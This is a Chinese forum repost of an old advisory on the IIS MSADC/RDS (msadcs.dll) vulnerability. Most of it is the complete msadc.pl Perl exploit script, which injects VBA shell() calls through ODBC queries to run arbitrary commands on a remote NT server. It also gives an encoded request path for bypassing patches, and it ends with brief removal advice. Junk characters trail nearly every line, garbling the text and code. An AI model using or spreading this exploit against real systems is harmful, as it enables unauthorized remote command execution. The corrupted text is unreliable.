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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \}n\cUy-  
V'q?+p] a  
涉及程序: _u{z$;  
Microsoft NT server 3T= ?!|e  
;(3!#4`q(]  
描述: z8@[]6cW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 K7-z.WTUR  
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详细: J85S'cwZZ  
如果你没有时间读详细内容的话,就删除: V"Sa9P{y"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !0Mx Bem  
有关的安全问题就没有了。 cSD$I^$oq  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 # E{2 !Z  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 zCe[+F  
关于利用ODBC远程漏洞的描述,请参看: k6$Ft.0d1Z  
Mp7X+o/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }`~n$OVx  
,6 IKkyD  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @dyh: 2!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &E+mXEve  
*8I"7'xh  
这里不再论述。 'nT#c[x[0  
jAcrXB*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: PrKH{nyJk  
U!\~LKfA  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =o5|W'>`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! `PUGg[Zx^  
idNra#  
Rz#q68  
#将下面这段保存为txt文件,然后: "perl -x 文件名" k.ttrKy<q/  
/U 3Uuk:  
#!perl /&  W&  
# 0NF=7 j  
# MSADC/RDS 'usage' (aka exploit) script ZYS]Et[Q  
# |JLXgwML  
# by rain.forest.puppy bgYUsc*uR  
# H:F'5Zt  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %6W%-`  
# beta test and find errors! bs&>QsI?j  
8Drz i!}  
use Socket; use Getopt::Std; CUN1.i<pk8  
getopts("e:vd:h:XR", \%args); .]e_je_  
)`BKEa f  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; kW7$Gw]-  
4:9N]1JCb  
if (!defined $args{h} && !defined $args{R}) { !T#EkMM  
print qq~ 1{A K=H')  
Usage: msadc.pl -h <host> { -d <delay> -X -v } mt]^d;E  
-h <host> = host you want to scan (ip or domain) |[)n.N65 =  
-d <seconds> = delay between calls, default 1 second #:NY9.\o  
-X = dump Index Server path table, if available EeR}34  
-v = verbose "WzKJwFr  
-e = external dictionary file for step 5 \iP5.3C  
!(HPx@_  
Or a -R will resume a command session [jv+Of IZ  
I.[Lv7U-  
~; exit;} }/lyrjV  
w>o/)TTJL  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; E)`:sSd9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} +Qf<*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,`bmue5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); klR\7+lK  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5ZX  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } +BVY9U?\"  
Q2!5  
if (!defined $args{R}){ $ret = &has_msadc; A5T&i]  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} '3 b'moy  
5eiKMKW[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" M@z_tR'3\  
. "cmd /c "; N8iLI`  
$in=<STDIN>; chomp $in; "~mY4WVG  
$command="cmd /c " . $in ; 2?{'(i ay  
nTl2F1(sV7  
if (defined $args{R}) {&load; exit;} 6>]w1 H  
;0U*N& f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; aaP6zJXi  
&try_btcustmr; iB|htH'T  
S Rk%BJ? ~  
print "\nStep 2: Trying to make our own DSN..."; Ci4; e  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; U&ytZ7iB  
@^R l{p  
print "\nStep 3: Trying known DSNs..."; UM/!dt}DnF  
&known_dsn; y 2)W"PuG  
6e8 gFQ"w2  
print "\nStep 4: Trying known .mdbs..."; f92z/5%V  
&known_mdb; TlowEh8r  
= N;5T  
if (defined $args{e}){ R nwFxFIQ  
print "\nStep 5: Trying dictionary of DSN names..."; ]q~bi<E9W  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } n@L@pgo%~  
U\u07^h[  
print "Sorry Charley...maybe next time?\n"; snWe&-  
exit; tpb lm|sW  
%fnG v\uI  
############################################################################## Y1ks'=c>  
W*Si"s2  
sub sendraw { # ripped and modded from whisker jfiUf1Mj  
sleep($delay); # it's a DoS on the server! At least on mine... 9Z21|5  
my ($pstr)=@_; JA*+F1s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nEUUD3a  
die("Socket problems\n"); ps;dbY*s6  
if(connect(S,pack "SnA4x8",2,80,$target)){ %E5b }E#  
select(S); $|=1; Y]7503J  
print $pstr; my @in=<S>; ,kf.'N  
select(STDOUT); close(S); wTD}c1J(  
return @in; RRXp9{x`  
} else { die("Can't connect...\n"); }} Q:|W/RD~  
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############################################################################## z)(W x">  
Rx.v/H  
sub make_header { # make the HTTP request L+*:VP6WD  
my $msadc=<<EOT : 0 ,yq?M  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 hbg$u$1`,  
User-Agent: ACTIVEDATA /wax5FS'I,  
Host: $ip @H<*|3J  
Content-Length: $clen ' '(rC38  
Connection: Keep-Alive sQJGwZ 7  
m8;w7S7,j~  
ADCClientVersion:01.06 r^a:s]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 T-#4hY`  
`/Rqt+C  
--!ADM!ROX!YOUR!WORLD! [}M!ez  
Content-Type: application/x-varg q-+:1E  
Content-Length: $reqlen Rpv[rvK'  
WrSc@j&Ycv  
EOT KzP{bK5/  
; $msadc=~s/\n/\r\n/g; qDG2rFu&[  
return $msadc;} W7Y@]QMX  
ggL/7I(  
############################################################################## /y$Fw9R;  
b*.aaOb  
sub make_req { # make the RDS request k qL.ZR  
my ($switch, $p1, $p2)=@_; 4g"%?xN  
my $req=""; my $t1, $t2, $query, $dsn; 8]Tv1Wc  
J jm={+@+  
if ($switch==1){ # this is the btcustmr.mdb query eZ+6U`^t  
$query="Select * from Customers where City=" . make_shell(); w|6/i/X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q" f65d4c  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} vc&v+5Y  
pY@QR?F\  
elsif ($switch==2){ # this is general make table query !6 L!%Oi  
$query="create table AZZ (B int, C varchar(10))"; Pmo<t6  
$dsn="$p1";} ) $_1U!z  
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elsif ($switch==3){ # this is general exploit table query mEbI\!}H0  
$query="select * from AZZ where C=" . make_shell(); e b} P/  
$dsn="$p1";} *!ng)3#  
t^KQ*8clG  
elsif ($switch==4){ # attempt to hork file info from index server . }/8 ]  
$query="select path from scope()"; $L 8>Ha}  
$dsn="Provider=MSIDXS;";} rD~/]y)t  
.wD $Bsm`t  
elsif ($switch==5){ # bad query  0U@#&pUc  
$query="select"; }L)[>  
$dsn="$p1";} GTM0Qvf?  
u\Ylo.)b  
$t1= make_unicode($query); $TmEVC^ 0  
$t2= make_unicode($dsn); vMB61 |O  
$req = "\x02\x00\x03\x00"; y$\tqQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8W{M}>;[9  
$req.= "\x00\x00" . $t1 ; HWsV_VAw}  
$req.= "\x08\x00" . pack ("S1", length($t2)); 0\{dt4nW&O  
$req.= "\x00\x00" . $t2 ; :Y\ ~[Y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; **L&I5Hhm  
return $req;} p X{wEc6}  
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############################################################################## gDVsi  
Q{|%kU"  
sub make_shell { # this makes the shell() statement P,ueLG=  
return "'|shell(\"$command\")|'";} 953qz]Q8  
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############################################################################## U8 Zb&6  
g ns}%\,  
sub make_unicode { # quick little function to convert to unicode \^*:1=|7u]  
my ($in)=@_; my $out; &J&'J~N  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } hNM8H  
return $out;} 6qHD&bv\%C  
Tj#S')s8  
############################################################################## < j:\;mi;  
12z!{k7N  
sub rdo_success { # checks for RDO return success (this is kludge) oj - `G  
my (@in) = @_; my $base=content_start(@in); [j-?)  
if($in[$base]=~/multipart\/mixed/){ n2bhCd]j<b  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} iRnjN  
return 0;} \ saV8U7B  
pOXI*0_g.  
############################################################################## TvDSs])  
x[)-h/&Fh  
sub make_dsn { # this makes a DSN for us RJ'[m~yl5X  
my @drives=("c","d","e","f"); nsR CDUCi  
print "\nMaking DSN: "; xqzeBLU  
foreach $drive (@drives) { .DhI3'Jrl  
print "$drive: "; l.o/H|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1~c\J0h)d  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" UeO/<ml3>J  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /=S@3?cQAB  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~^1y(-cw  
return 0 if $2 eq "404"; # not found/doesn't exist UHZ&7jfl  
if($2 eq "200") { 5_aj]"x  
foreach $line (@results) { k_,7#:+  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} QQS*r}>  
} return 0;} YWK0.F,8a  
=U3S"W %  
############################################################################## =O }^2OARo  
s#s">hMrI  
sub verify_exists { %6320 x  
my ($page)=@_; reN\| ?0{  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Xe %J{  
return $results[0];} (Lgea  
v:P]o9Oj8  
############################################################################## C8|V?bL  
X\h.@+f=  
sub try_btcustmr { |@X^_L.!  
my @drives=("c","d","e","f"); -xHR6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;DuVb2~+  
'#f<wf n  
foreach $dir (@dirs) { 'z. GAR  
print "$dir -> "; # fun status so you can see progress ^~H{I_Y  
foreach $drive (@drives) { @KTuG ?.  
print "$drive: "; # ditto <R]m(  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {s mk<NL  
$reqlenlen=length( "$reqlen" ); u2oS Ci  
$clen= 206 + $reqlenlen + $reqlen; zWC| Qe  
L;RE5YrH%6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z< L2W",  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} EfEgY|V0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e P@#I^_  
[=>=5'-  
############################################################################## _ p\L,No  
YGo?%.X  
sub odbc_error {  4u:SE   
my (@in)=@_; my $base; }gkLO TJ/,  
my $base = content_start(@in); r'OqG^6JFN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this SUc%dpXZa  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UH!(`Z\C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W~ ~'  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W#F9Qw  
return $in[$base+4].$in[$base+5].$in[$base+6];} Hh1_zd|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; XGB\rf vS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @ b!]Jw  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} .yj@hpJM  
4/b.;$  
############################################################################## ,W}:vdC  
B>fZH \Y  
sub verbose { y0d=  
my ($in)=@_; eA4D.7HDK  
return if !$verbose; ,m=G9QcN  
print STDOUT "\n$in\n";} EB[T 5{  
)q=F_:$  
############################################################################## _eKO:Y[e  
pN[WYM?[  
sub save { vh a9,5_  
my ($p1, $p2, $p3, $p4)=@_; xsH1)  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #dZs[R7h  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1C<cwd;9  
close OUT;} CeYhn\m5K0  
4-yK!LR  
############################################################################## CVfV    
e34>q:#5l  
sub load { ZM.'W}J{ *  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Z=]SAK`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); zKd@Ab  
@p=<IN>; close(IN); sUG!dwqqd  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2`4m"DtA  
$target= inet_aton($ip) || die("inet_aton problems"); Oh! {E5!)  
print "Resuming to $ip ..."; [[$C tqLg  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;  gHe:o`  
if($p[1]==1) { \V>5)R n  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0vv~G\yM  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0nb%+],pX  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); oPKLr31zt  
if (rdo_success(@results)){print "Success!\n";} p3M!H2W  
else { print "failed\n"; verbose(odbc_error(@results));}} B7 s{yb  
elsif ($p[1]==3){ WQ9e~D"  
if(run_query("$p[3]")){ Y*NzY*V\  
print "Success!\n";} else { print "failed\n"; }} VE+H! ob A  
elsif ($p[1]==4){ uV5uZ  
if(run_query($drvst . "$p[3]")){ <8:h%%$?  
print "Success!\n"; } else { print "failed\n"; }} $:~;U xh=  
exit;} \l59/ZFan  
uN`/&_$c  
############################################################################## q^aDZzx,z  
YbZbA >|  
sub create_table { |[.-pA^  
my ($in)=@_; 8%9 C<+.R  
$reqlen=length( make_req(2,$in,"") ) - 28; 3k1e  
$reqlenlen=length( "$reqlen" ); dVbFMQ&  
$clen= 206 + $reqlenlen + $reqlen; '`2KLO>!  
my @results=sendraw(make_header() . make_req(2,$in,"")); %>m.Z#R(  
return 1 if rdo_success(@results); AQ'%}(#0  
my $temp= odbc_error(@results); verbose($temp); !eF(WbU0  
return 1 if $temp=~/Table 'AZZ' already exists/; a:cci?cb  
return 0;} q_b!+Y  
8&2 +=<Q~  
############################################################################## m Q9dF,  
@su<h\)  
sub known_dsn { FP=B/!g  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go c]^P$F8U  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Lk(ESV;r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 8c9HJ9vk  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); IXy6Yn9l  
oqJ Ybim  
foreach $dSn (@dsns) { :F:1(FDP  
print "."; h1_Z&VJ  
next if (!is_access("DSN=$dSn")); }-oba_  
if(create_table("DSN=$dSn")){ \|,| )  
print "$dSn successful\n"; yx]9rD1cz  
if(run_query("DSN=$dSn")){ P{o)Ir8Tt  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^QS`H@+Z  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  (Q8!5s  
G8av5zR  
############################################################################## 2{=]Pf  
]E/0iM5  
sub is_access { =%W:N|k  
my ($in)=@_; Pe _O(  
$reqlen=length( make_req(5,$in,"") ) - 28; ,jY:@<n  
$reqlenlen=length( "$reqlen" ); yT7$6x  
$clen= 206 + $reqlenlen + $reqlen; 'I$FOH   
my @results=sendraw(make_header() . make_req(5,$in,"")); J0!V(  
my $temp= odbc_error(@results); 1B;2 ~2X  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); RcYUO*  
return 0;} A*OqUq/H`;  
.iy4 (P4  
############################################################################## 9#z$GO|<  
=z'(FP5!0  
sub run_query { c""&He4zp  
my ($in)=@_; uPfz'|,  
$reqlen=length( make_req(3,$in,"") ) - 28; ZO<,V  
$reqlenlen=length( "$reqlen" ); `DYhGk  
$clen= 206 + $reqlenlen + $reqlen; FOk&z!xYKd  
my @results=sendraw(make_header() . make_req(3,$in,"")); Z}S[fN8  
return 1 if rdo_success(@results); #^T`vTD-  
my $temp= odbc_error(@results); verbose($temp); z=>fBb>w7  
return 0;} d,^O[9UWo  
!UoA6C:  
############################################################################## c>LP}PGk  
&>\;4E.O5  
sub known_mdb { *V2;ds.~  
my @drives=("c","d","e","f","g"); p~w] ~\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?06gu1z/  
my $dir, $drive, $mdb; 5Y *4a%"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; kSz+UMC-7:  
Tw-NIT)  
# this is sparse, because I don't know of many WGv47i  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |]< 3cW+  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", gy.UTAs N  
"\\system32\\certmdb.mdb", GQbr}xX. #  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% On*I.~  
ga +, P  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]d1'5F][H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", "-&K!Vfs  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", y RxrfAdS  
"\\cfusion\\cfapps\\security\\realm_.mdb", Vgj#-7bdyi  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", a 8k2*u  
"\\cfusion\\database\\cfexamples.mdb", V}s/knd  
"\\cfusion\\database\\cfsnippets.mdb", _.JQ h   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", L3%frIUd  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {xZY4b2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", B/ 4M;G~  
"\\cfusion\\database\\smpolicy.mdb", 0b{jox\!B  
"\\cfusion\\database\cypress.mdb", ps<E f  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .)tv'V/  
"\\website\\cgi-win\\dbsample.mdb", 0f@+o}i=)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", uY5|Nmiu  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" )V1xL_hx/  
); #these are just . Vb|le(7  
foreach $drive (@drives) { @ [;'b$T$  
foreach $dir (@dirs){ 64u(X^i  
foreach $mdb (@sysmdbs) { G=cRdiy`C  
print "."; t<v.rb  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :`N&BV  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3;v)f":[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5k0iVpjQ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D)-LZbPa  
} else { print "Something's borked. Use verbose next time\n"; }}}}} IS]A<}j/-  
?,$:~O* w  
foreach $drive (@drives) { N?qETp-:  
foreach $mdb (@mdbs) { ')q0VaohC  
print "."; 0T`Qoo>u  
if(create_table($drv . $drive . $dir . $mdb)){ F7<mm7BGZ  
print "\n" . $drive . $dir . $mdb . " successful\n"; 6:2*<  
if(run_query($drv . $drive . $dir . $mdb)){ O!"K'Bm  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; x"z\d,O%W  
} else { print "Something's borked. Use verbose next time\n"; }}}} No7-fX1B  
} V48_aL  
PlB3"{}0Q  
############################################################################## /l7 %x.  
p6j-8ggL  
sub hork_idx { :<aGZ\R5  
print "\nAttempting to dump Index Server tables...\n"; I7U/={[J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F${sEtH  
$reqlen=length( make_req(4,"","") ) - 28; ('7?"npd  
$reqlenlen=length( "$reqlen" ); KiXfR\S~C  
$clen= 206 + $reqlenlen + $reqlen; fn<dr(Dx  
my @results=sendraw2(make_header() . make_req(4,"","")); ajycYk9<m  
if (rdo_success(@results)){ f 6I)c$]Q  
my $max=@results; my $c; my %d; ~3s ?.[}d  
for($c=19; $c<$max; $c++){ Hdyl]q-(P  
$results[$c]=~s/\x00//g; 9Z -2MF  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {gzQ/|}#z-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7u"Q1n(h/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; a~yiLq  
$d{"$1$2"}="";} 5 SQ!^1R 9  
foreach $c (keys %d){ print "$c\n"; } &W>\Vl1  
} else {print "Index server doesn't seem to be installed.\n"; }} ,It0brF  
S5JM t;O  
############################################################################## X8tPn_`x  
w~6/p  
sub dsn_dict { ;y-JR$M  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); J;>;K6pW  
while(<IN>){ JcRxNH )<"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; B6F!"  
next if (!is_access("DSN=$dSn")); w#1BHx  
if(create_table("DSN=$dSn")){ F(1E@xs  
print "$dSn successful\n"; h_ t`)]-  
if(run_query("DSN=$dSn")){ ;X+0,K3c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ir'<H<t2  
print "Something's borked. Use verbose next time\n";}}} 3\Amj}RJ  
print "\n"; close(IN);} -$!r+4|q  
3z0Bg  
############################################################################## ;jxX/c  
1a9' *[  
sub sendraw2 { # ripped and modded from whisker 4j;IyQDvM  
sleep($delay); # it's a DoS on the server! At least on mine... 5!ngM  
my ($pstr)=@_; 1[OY- G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fKEDe>B5  
die("Socket problems\n"); #TUm&2 +V  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ip{hg,>  
print "Connected. Getting data"; X,3"4 SK  
open(OUT,">raw.out"); my @in; QH><! sa  
select(S); $|=1; print $pstr; =0&XdxX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} #U0| j?!D  
close(OUT); select(STDOUT); close(S); return @in; )Fd)YJVR  
} else { die("Can't connect...\n"); }} 7Vf XE/  
{31X  
############################################################################## x=0Ak'1M  
R)d_0Ng  
sub content_start { # this will take in the server headers 7/&taw%i  
my (@in)=@_; my $c; gD%o0 jt"  
for ($c=1;$c<500;$c++) { "viZ"/ ~6  
if($in[$c] =~/^\x0d\x0a/){ ?p6@uM\Q7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 9Cd=^Im5  
else { return $c+1; }}} >WO;q  
return -1;} # it should never get here actually 1grcCL q  
jB -A d8  
############################################################################## /  !h<+  
L?N: 4/0;!  
sub funky { 'n{=`e(}cI  
my (@in)=@_; my $error=odbc_error(@in); s4 , `  
if($error=~/ADO could not find the specified provider/){ `?&C5*P  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1_&W1o  
exit;} Lniz>gSc  
if($error=~/A Handler is required/){ WjVm{7?{  
print "\nServer has custom handler filters (they most likely are patched)\n"; NWwKp?  
exit;} ,X| >d  
if($error=~/specified Handler has denied Access/){ XwIHIG}  
print "\nServer has custom handler filters (they most likely are patched)\n"; \xOYa  
exit;}} &B8x0 yi  
{'P?wv  
############################################################################## ~A/vP-  
Gf7r!Ur;g  
sub has_msadc { Y}}1]}VIK  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |p/[sD+M  
my $base=content_start(@results); 9~ V(wG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); O?#<kmd/)  
return 0;} &6GW9pl[  
4D.h~X4  
######################## ,~=+]9t  
abVEi[nP  
/.mx\_$   
解决方案: | v>W  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N#OO{`":Z`  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T~lHm  
yBqKldl  
拿出来充数 哈哈
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